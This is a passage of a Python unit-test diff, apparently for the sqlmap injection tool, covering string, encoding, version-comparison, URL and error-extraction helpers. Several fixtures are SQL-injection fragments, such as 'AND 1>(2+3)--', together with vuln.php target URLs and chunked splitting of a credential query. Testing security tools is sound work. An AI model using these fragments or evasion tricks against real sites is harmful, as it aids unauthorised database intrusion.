"a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +# =========================================================================== # +# from tests/test_core_more.py (common.py classes) +# =========================================================================== # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestIsDBMSVersionAtLeast(unittest.TestCase): + """Version gating drives per-DBMS query selection; comparison must be component-wise.""" + + def setUp(self): + self._saved = kb.get("dbmsVersion") + + def tearDown(self): + kb.dbmsVersion = self._saved + + def _at_least(self, version, minimum): + kb.dbmsVersion = version + return isDBMSVersionAtLeast(minimum) + + def test_single_major_thresholds(self): + self.assertTrue(self._at_least("5.4.3", "5")) + self.assertTrue(self._at_least("8.0.32", "8")) + self.assertFalse(self._at_least("5.7.44", "8")) + + def test_multi_digit_minor_ordering(self): + # floats mis-sorted these (10.11->10.11 vs 10.5->10.5): component-wise fixes it + self.assertTrue(self._at_least("10.11", "10.5")) # MariaDB + self.assertFalse(self._at_least("10.6", "10.11")) + self.assertTrue(self._at_least("5.10.0", "5.5")) + self.assertTrue(self._at_least("9.10", "9.6")) # PostgreSQL + + def test_presto_sequential_minor(self): + # Presto 0.NNN: release 99 is OLDER than release 178 (float made 0.99 > 0.178) + self.assertFalse(self._at_least("0.99", "0.178")) + self.assertTrue(self._at_least("0.180", "0.178")) + + def test_range_and_prefix_semantics(self): + self.assertTrue(self._at_least("2", ">=2.0")) + self.assertFalse(self._at_least("2", ">2")) + self.assertFalse(self._at_least("<2", "2")) + self.assertTrue(self._at_least("<2", "1.5")) + + def test_unknown_version_is_none(self): + from lib.core.settings import UNKNOWN_DBMS_VERSION + kb.dbmsVersion = UNKNOWN_DBMS_VERSION + self.assertIsNone(isDBMSVersionAtLeast("5")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"\xe9\xe8"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# =========================================================================== # +# from tests/test_core_extra.py (common.py classes) +# =========================================================================== # + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + from lib.core.common import chunkSplitPostData + # regardless of content, the chunked stream must end with the zero-length terminator + # (assertion is seed-independent, so don't touch the global RNG) + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"\u2122") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +# =========================================================================== # +# from tests/test_core_final.py (common.py classes) +# =========================================================================== # + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
    foobar
    "), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

    Only a test page

    ") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_prose_like_dbms_signature(self): + # a specific DBMS signature must be extracted even when it reads like plain text (few + # non-writing chars) - the non-writing-char ratio guards only the generic keyword regexes + page = "Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark after the character string ''." + self.assertEqual(extractErrorMessage(page), "Unclosed quotation mark after the character string ''.") + + def test_extract_error_message_generic_prose_still_rejected(self): + # the generic '(fatal|error|warning): ...' path must still drop natural-language prose + self.assertIsNone(extractErrorMessage("Error: everything is working fine and nothing is wrong here")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + 